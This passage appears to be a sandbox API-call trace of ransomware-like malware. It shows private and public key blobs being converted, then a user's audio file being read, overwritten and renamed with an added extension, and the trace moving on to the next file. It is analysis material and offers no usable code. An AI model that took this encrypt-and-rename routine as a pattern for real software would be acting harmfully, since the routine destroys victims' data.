Kpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.597] GetCurrentThreadId () returned 0xa30 [0086.597] GetCurrentThreadId () returned 0xa30 [0086.597] GetCurrentThreadId () returned 0xa30 [0086.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.598] GetCurrentThreadId () returned 0xa30 [0086.598] GetCurrentThreadId () returned 0xa30 [0086.598] GetCurrentThreadId () returned 0xa30 [0086.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\dcuEUUO6h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\dcueuuo6h.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.599] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.599] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.599] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xcbd8 [0086.599] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.599] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0xcbd8, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0xcbd8, lpOverlapped=0x0) returned 1 [0086.607] CloseHandle (hObject=0x11c) returned 1 [0086.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\dcuEUUO6h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\dcueuuo6h.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.611] WriteFile (in: hFile=0x11c, lpBuffer=0x1f26e00*, nNumberOfBytesToWrite=0xcbd8, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f26e00*, lpNumberOfBytesWritten=0x18f3e0*=0xcbd8, lpOverlapped=0x0) returned 1 [0086.615] CloseHandle (hObject=0x11c) returned 1 [0086.617] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\dcuEUUO6h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\dcueuuo6h.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\dcuEUUO6h.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\dcueuuo6h.m4a.zv7un")) returned 1 [0086.618] GetCurrentThreadId () returned 0xa30 [0086.618] GetCurrentThreadId () returned 0xa30 [0086.618] GetCurrentThreadId () returned 0xa30 [0086.618] GetCurrentThreadId () returned 0xa30 [0086.618] GetCurrentThreadId () returned 0xa30 [0086.618] GetCurrentThreadId () returned 0xa30 [0086.618] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd956f8b0, ftCreationTime.dwHighDateTime=0x1d5d7d1, ftLastAccessTime.dwLowDateTime=0x1e595330, ftLastAccessTime.dwHighDateTime=0x1d5e188, ftLastWriteTime.dwLowDateTime=0x1e595330, ftLastWriteTime.dwHighDateTime=0x1d5e188, nFileSizeHigh=0x0, nFileSizeLow=0xb1cc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kwSeo.wav", cAlternateFileName="")) returned 1 [0086.618] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.618] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\kwSeo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\kwseo.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd956f8b0, ftCreationTime.dwHighDateTime=0x1d5d7d1, ftLastAccessTime.dwLowDateTime=0x1e595330, ftLastAccessTime.dwHighDateTime=0x1d5e188, ftLastWriteTime.dwLowDateTime=0x1e595330, ftLastWriteTime.dwHighDateTime=0x1d5e188, nFileSizeHigh=0x0, nFileSizeLow=0xb1cc)) returned 1 [0086.619] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\kwSeo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\kwseo.wav")) returned 0x20 [0086.619] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\kwSeo.wav", dwFileAttributes=0x80) returned 1 [0086.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2P